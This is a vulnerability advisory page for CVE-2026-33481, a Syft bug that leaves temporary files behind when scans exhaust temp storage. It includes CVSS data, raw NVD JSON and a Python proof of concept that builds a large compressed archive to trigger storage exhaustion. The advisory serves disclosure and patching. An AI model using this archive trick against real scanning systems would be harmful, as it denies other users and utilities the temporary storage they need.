Security Vulnerability Report
中文
CVE-2026-33481 CVSS 5.3 MEDIUM

CVE-2026-33481

Published: 2026-03-26 18:16:30
Last Modified: 2026-03-31 21:15:56

Description

Syft is a a CLI tool and Go library for generating a Software Bill of Materials (SBOM) from container images and filesystems. Syft versions before v1.42.3 would not properly cleanup temporary storage if the temporary storage was exhausted during a scan. When scanning archives Syft will unpack those archives into temporary storage then inspect the unpacked contents. Under normal operation Syft will remove the temporary data it writes after completing a scan. This vulnerability would affect users of Syft that were scanning content that could cause Syft to fill the temporary storage that would then cause Syft to raise an error and exit. When the error is triggered Syft would exit without properly removing the temporary files in use. In our testing this was most easily reproduced by scanning very large artifacts or highly compressed artifacts such as a zipbomb. Because Syft would not clean up its temporary files, the result would be filling temporary file storage preventing future runs of Syft or other system utilities that rely on temporary storage being available. The patch has been released in v1.42.3. Syft now cleans up temporary files when an error condition is encountered. There are no workarounds for this vulnerability in Syft. Users that find their temporary storage depleted can manually remove the temporary files.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:anchore:syft:*:*:*:*:*:*:*:* - VULNERABLE
Syft < v1.42.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-33481: Syft Temporary File Cleanup Vulnerability # This script creates a 'Zipbomb' like structure that can fill temp storage. import zipfile import os # Create a zip file containing a large file (simulating a zipbomb scenario) def create_malicious_archive(filename, uncompressed_size_mb=500): # In a real zipbomb, overlapping layers are used to achieve massive size with small files. # Here we simulate the behavior by creating a large dummy file to zip. # For testing purposes, use a smaller size to avoid crashing the test machine. dummy_content = b'0' * (1024 * 1024) # 1MB chunk with zipfile.ZipFile(filename, 'w', zipfile.ZIP_DEFLATED) as zf: # Adding a file that appears large when decompressed # Note: Actual zipbombs use compression ratios tricks. # This demonstrates the 'large artifact' trigger mentioned in the CVE. zf.writestr('large_file.txt', dummy_content * 100) print(f"[+] Created archive: {filename}") print(f"[*] Trigger command: syft {filename}") print("[*] Expected behavior on vulnerable versions:") print(" 1. Syft attempts to unpack the archive into temp storage.") print(" 2. Temp storage fills up.") print(" 3. Syft crashes with error.") print(" 4. Temporary files are NOT cleaned up, causing DoS.") if __name__ == "__main__": create_malicious_archive('cve_2026_33481_poc.zip')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33481", "sourceIdentifier": "[email protected]", "published": "2026-03-26T18:16:29.733", "lastModified": "2026-03-31T21:15:56.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Syft is a a CLI tool and Go library for generating a Software Bill of Materials (SBOM) from container images and filesystems. Syft versions before v1.42.3 would not properly cleanup temporary storage if the temporary storage was exhausted during a scan. When scanning archives Syft will unpack those archives into temporary storage then inspect the unpacked contents. Under normal operation Syft will remove the temporary data it writes after completing a scan. This vulnerability would affect users of Syft that were scanning content that could cause Syft to fill the temporary storage that would then cause Syft to raise an error and exit. When the error is triggered Syft would exit without properly removing the temporary files in use. In our testing this was most easily reproduced by scanning very large artifacts or highly compressed artifacts such as a zipbomb. Because Syft would not clean up its temporary files, the result would be filling temporary file storage preventing future runs of Syft or other system utilities that rely on temporary storage being available. The patch has been released in v1.42.3. Syft now cleans up temporary files when an error condition is encountered. There are no workarounds for this vulnerability in Syft. Users that find their temporary storage depleted can manually remove the temporary files."}, {"lang": "es", "value": "Syft es una herramienta CLI y una biblioteca Go para generar una Lista de Materiales de Software (SBOM) a partir de imágenes de contenedor y sistemas de archivos. Las versiones de Syft anteriores a la v1.42.3 no limpiarían correctamente el almacenamiento temporal si este se agotaba durante un escaneo. Al escanear archivos, Syft desempaquetará esos archivos en el almacenamiento temporal y luego inspeccionará el contenido desempaquetado. Bajo operación normal, Syft eliminará los datos temporales que escribe después de completar un escaneo. Esta vulnerabilidad afectaría a los usuarios de Syft que estaban escaneando contenido que podría hacer que Syft llenara el almacenamiento temporal, lo que luego haría que Syft generara un error y saliera. Cuando se activa el error, Syft saldría sin eliminar correctamente los archivos temporales en uso. En nuestras pruebas, esto se reprodujo más fácilmente escaneando artefactos muy grandes o artefactos altamente comprimidos como una zipbomb. Debido a que Syft no limpiaría sus archivos temporales, el resultado sería el llenado del almacenamiento de archivos temporales, impidiendo futuras ejecuciones de Syft u otras utilidades del sistema que dependen de que el almacenamiento temporal esté disponible. El parche ha sido lanzado en la v1.42.3. Syft ahora limpia los archivos temporales cuando se encuentra una condición de error. No hay soluciones alternativas para esta vulnerabilidad en Syft. Los usuarios que encuentren su almacenamiento temporal agotado pueden eliminar manualmente los archivos temporales."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-460"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anchore:syft:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.42.3", "matchCriteriaId": "D911F63A-BFD6-4F13-9E84-D1A632651F2A"}]}]}], "references": [{"url": "https://github.com/anchore/stereoscope/pull/537", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/anchore/syft/pull/4629", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/anchore/syft/pull/4668", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/anchore/syft/security/advisories/GHSA-rjcw-vg7j-m9rc", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}